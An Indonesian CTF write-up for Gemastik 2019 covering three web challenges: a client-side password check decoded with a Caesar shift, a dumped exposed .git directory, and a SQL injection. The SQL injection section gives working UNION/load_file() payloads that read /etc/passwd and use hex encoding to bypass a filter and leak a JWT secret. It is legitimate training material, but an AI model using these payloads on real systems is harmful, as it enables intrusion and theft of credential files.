Kompetisi kategori ini bertujuan untuk menguji kemampuan peserta dalam menghadapi kasus keamanan sistem komputer dan jaringan yang telah disiapkan, termasuk di dalamnya keamanan data. Daya analisis dan kreativitas peserta ditantang untuk mencari kelemahan dalam suatu sistem yang telah dirancang untuk memiliki celah atau informasi tertentu yang memungkinan terjadinya peretasan pada sistem tersebut.

Ketepatan dan kecepatan peserta dalam menutupi kelemahan yang ditemukan akan menentukan seberapa kuat sistemnya bertahan dari serangan peserta lain. Kemampuan peserta dalam merancang dan mengimplementasi-kan sistem siber yang aman dengan cara melakukan proteksi data dari ujung ke ujung dan akan sangat menentukan keberhasilan dalam lomba ini..

Resource dan writeup lainnya dapat dilihat di sini

๐Ÿ”— exploit me

caesar lupa password untuk sebuah aplikasi web. namun dalam aplikasi tersebut tidak terdapat forget password. Dapatkah anda menolong Caesar ?

akses ke http://180.250.135.11/

Diberikan webservice yang berjalan pada host http://180.250.135.11/ dengan tampilan sebagai berikut.

preview-1

Selengkapnya dilakukan pula pengecekan terhadap source code dari webpage sehingga diperoleh

$ curl 180.250.135.11
<!DOCTYPE html>
<html>
<head>
  <title>Gemastik Server</title>
  <link href="style.css" rel="stylesheet" type="text/css" media="all" />
</head>
<body>
  <script type="text/javascript" src="md5.js"></script>
  <script type="text/javascript">
    function verify() {
      checkpass = document.getElementById("pass").value;
      split = 4;
      if (checkpass.substring(split*7, split*8) == 'u}') {
        if (checkpass.substring(split*6, split*7) == 'z-mb') {
          if (checkpass.substring(split*5, split*6) == 'un-p') {
           if (checkpass.substring(split*4, split*5) == 'hjrp') {
            if (checkpass.substring(split*3, split*4) == 'li-o') {
              if (checkpass.substring(split*2, split*3) == '12{d') {
                if (checkpass.substring(split, split*2) == 'zapr') {
                  if (checkpass.substring(0,split) == 'nlth') {
                    alert("You got the flag! one step more!")
                    }
                  }
                }

              }
            }
          }
        }
      }
      else {
        alert("Incorrect password");
      }
    }
  </script>

  <div class="login">
    <img src="2.png" alt="">
    <h1>Login Server</h1>
    <!-- <h3>Masukkan Password</h3> -->
      <form method="post" action="index.html">
          <input type="password" name="p" placeholder="Password" required="required" id="pass" />
          <button type="submit" class="btn btn-primary btn-block btn-large" onclick="verify(); return false;">Login</button>
      </form>
  </div>

</body>
</html>

Dari sini, diketahui bahwa terdapat suatu client authentification terhadap input tertentu melalui fungsi verify(). Fungsi ini akan mengecek strings sepanjang 30 karakter yang terbagi dalam beberapa substrings. Langsung saja dilakukan proses decipher dengan script sebagai berikut

# solve.py
#!/usr/bin/env python2
checkpass = [''] * 30
split = 4

checkpass[split*7:split*8] = 'u}'
checkpass[split*6:split*7] = 'z-mb'
checkpass[split*5:split*6] = 'un-p'
checkpass[split*4:split*5] = 'hjrp'
checkpass[split*3:split*4] = 'li-o'
checkpass[split*2:split*3] = '12{d'
checkpass[split:split*2] = 'zapr'
checkpass[0:split] = 'nlth'
print ''.join(checkpass)
# nlthzapr12{dli-ohjrpun-pz-mbu}

Hasilnya, diperoleh strings yang kemungkinan merupakan cipher hasil operasi Caesarian Shift. Untuk itu dilakukan brute force sedemikian hingga ditemukan sequence yang satisfiable dengan format flag.

$ python2 solve.py | caesar -b | grep gemastik
7 gemastik12{web-hacking-is-fun}

FLAG : gemastik12{web-hacking-is-fun}

๐Ÿ”— try me!

Seorang programmer ditugaskan untuk membuat suatu website, namun dia tidak bisa menyelesaikannya. Programmer tersebut meninggalkan sebuah pesan rahasia pada website tersebut. Tidak ada petunjuk jika belum mengakses websitenya.

http://180.250.135.8:8081

Diberikan webservice pada http://180.250.135.8:8081. Adapun tampilannya ialah sebagai berikut

preview-1
preview-1

Tampak terlihat terdapat sebuah login page untuk sebuah username & password tertentu. Sebagaimana petunjuk yang diberikan, diketahui pula bahwa tidak diperlukan proses brute-force dalam proses otentifikasi user. Dari sini, Kami mulai melakukan fuzzing pada directory .git/.

$ curl http://180.250.135.8:8081/.git/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 180.250.135.8 Port 8081</address>
</body></html>

Berdasarkan response tersebut, diketahui bahwa terdapat sebuah directory .git pada server, namun terdapat konfigurasi tertentu sehingga directory listing tidak dapat dilakukan. Untuk itu, Kami berinisiatif untuk mengambil git object dengan acuan HEAD commit. Adapun proses ini dapat disederhanakan dengan bantuan Gitdumper.

$ gitdumper http://180.250.135.8:8081/.git/ web1
[*] Destination folder does not exist
[+] Creating web1/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[+] Downloaded: objects/aa/f5303d52f98ba7286c73bfed9e608a502874a8
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/a9/3d11a791264b68994ab9be734ba9966700c31a
[+] Downloaded: objects/ee/f19347ff85963c7383284495d287308f9e8473
[+] Downloaded: objects/69/fe8f841403e423ffc2bfebe7df5ab3c97cb227
[+] Downloaded: objects/45/ba480b194605d6f6c05260ccb818524ba9ec91
[+] Downloaded: objects/bc/9cf846470db51dc7eeabbb03d0a383e4e60957
[+] Downloaded: objects/9e/aac011efefe5202f75afb0a7336d27214c18ee
[+] Downloaded: objects/52/abeec458bade8105d92ce2d9d1d44f53f0a802
[+] Downloaded: objects/76/57d30e909ffd408812ef37badad9a786eb96c1

$ cd web1
$ git log
commit aaf5303d52f98ba7286c73bfed9e608a502874a8 (HEAD -> master)
Author: Sobat Gurun <sogun@habeebshi.hub>
Date:   Tue Oct 1 05:50:15 2019 +0000

    Oops, I didn't want to commit that. Rebased.

commit a93d11a791264b68994ab9be734ba9966700c31a
Author: Sobat Gurun <sogun@habeebshi.hub>
Date:   Tue Oct 1 05:50:10 2019 +0000

    First commit

Sesaat setelah hierarchy git diperoleh, dilakukan proses ekstraksi untuk setiap commit yang ada. Adapun proses ini dilakukan dengan bantuan extractor.sh. Hasilnya diperoleh flag yang diminta

$ extractor . ../commits
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: a93d11a791264b68994ab9be734ba9966700c31a
[+] Found file: /cygdrive/c/Users/shouko/Desktop/gemastik/test/web1/../commits/0-a93d11a791264b68994ab9be734ba9966700c31a/index.php
[+] Found commit: aaf5303d52f98ba7286c73bfed9e608a502874a8
[+] Found file: /cygdrive/c/Users/shouko/Desktop/gemastik/test/web1/../commits/1-aaf5303d52f98ba7286c73bfed9e608a502874a8/index.php
[+] Found commit: eef19347ff85963c7383284495d287308f9e8473
[+] Found file: /cygdrive/c/Users/shouko/Desktop/gemastik/test/web1/../commits/2-eef19347ff85963c7383284495d287308f9e8473/index.php

$ grep -RoP 'gemastik12{.*?}' ../commits
../commits/2-eef19347ff85963c7383284495d287308f9e8473/index.php:gemastik12{1N1_kaN_Y4Ng_kaMu_Cari_h3he}

FLAG : gemastik12{1N1_kaN_Y4Ng_kaMu_Cari_h3he}

๐Ÿ”— Web Injection

Soal Hack Vulnerable Web Application dibuat dengan tujuan untuk menguji kemampuan peserta dalam melakukan eksploitasi celah keamanan. Dalam hal ini, celah keamanan yang dapat dieksploitasi adalah SQL Injection.

Hanya admin yang dapat membuka jalan Anda :-)

http://180.250.135.10:8080/

Diberikan sebuah webservice pada http://180.250.135.10:8080/. Adapun tampilannya ialah sebagai berikut

preview-1

Dari sini diketahui bahwa webservice menerima user-input berupa nim yang akan diproses pada data.php. Selanjutnya, dilakukan black-boxing dengan menginputkan sembarang input pada form yang tersedia. Hasilnya diketahui bahwa webservice vulnerable terhadap SQLi.

$ curl -d "nim=" 180.250.135.10:8080/data.php
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1     

Setelah beberapa saat melakukan observasi, diketahui bahwa terdapat dua buah tabel yakni, properties yang menyimpan JWT_Secret & peserta yang menyimpan credentials untuk user1. Kendati demikian, informasi yang diperoleh tidak dapat diproses untuk mendapatkan flag yang diminta. Alternatif nya, Kami berinisiatif untuk melakukan skema load_file() pada query SQL

$ curl -d "nim=1 and 0 union select 1, (select load_file('/etc/passwd')),3,4" 180.250.135.10:8080/data.php
1<br>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
<br><br>

Hasilnya, query dapat dijalankan sebagaimana mestinya. Berdasarkan acuan tersebut, dilakukan pengecekan terhadap index.php. Akan tetapi, terdapat sebuah filter sedemikian hingga query tidak dapat dijalankan.

$ curl -d "nim=1 and 0 union select 1, (select load_file('index.php')),3,4" 180.250.135.10:8080/data.php
Jangan coba-coba        

Untuk itu, kami lakukan proses hex encoding pada query untuk mem-bypass filter yang ada. Hasilnya diperoleh flag yang diminta

$ curl -d "nim=1 and 0 union select 1, (select load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870)),3,4" 180.250.135.10:8080/data.php 
1<br><?php
    include("vendor/autoload.php");
    use \Firebase\JWT\JWT;
    $key = "71d51dc4a4351b03764becb52ba01a14";
    $token = array(
        "iss" => "http://gemastik.local",
        "aud" => "http://gemastik.local",
        "iat" => time(),
        "nbf" => 1357000000,
        "enabled" => false,
        "role" => "user",
        "username" => "user1"
    );

    if(!isset($_POST['cari'])){
        if(isset(getallheaders()['Authorization'])){
            $jwt = explode(" ",getallheaders()['Authorization'])[1];
            try{
                $decoded = JWT::decode($jwt, $key, array('HS256'));
                if(file_exists("create_them_here/".$decoded->username.".txt") && ($decoded->role === "admin")){
                    if(strstr(file_get_contents("create_them_here/".$decoded->username.".txt"),$key)){
                        echo "gemastik12{Muter-muterSQLInjection}";
                    }
                }else{
                    if($decoded->role === "admin"){
                        echo "<br>Selamat datang, Admin. Untuk mendapatkan flag, buat file di /var/www/html/create_them_here/".$decoded->username.".txt berisikan JWT_SECRET lalu reload halaman ini<br>";
                    }
                }
            }catch(Exception $e){
                echo "<br>".$e;
                echo "<br> Anda apakan JWT nya? <br>";
            }
        }else{
            $jwt = JWT::encode($token, $key);
            echo '<label for="jwt">JWT Example:'.$jwt.'</label><br>';
            echo "<br>";
            echo '<form method="POST" action="data.php">
                <label for="NIM">NIM</label><br><input type="input" name="nim"><br>
                <input type="submit" name="cari" value="Cari anggota tim">
            </form>
        ';
        }
    }
?>
<br><br>        

FLAG : gemastik12{Muter-muterSQLInjection}

NB: Intended solution untuk challs ini terletak pada JWT_secret yang diperoleh dari /var/www/html/create_them_here/user1.txt. Selanjutnya dengan memodifikasi beberapa key dari JWT_DATA dilakukan proses crafting JWT yang nantinya digunakan sebagai Authorized Key pada request GET /index.php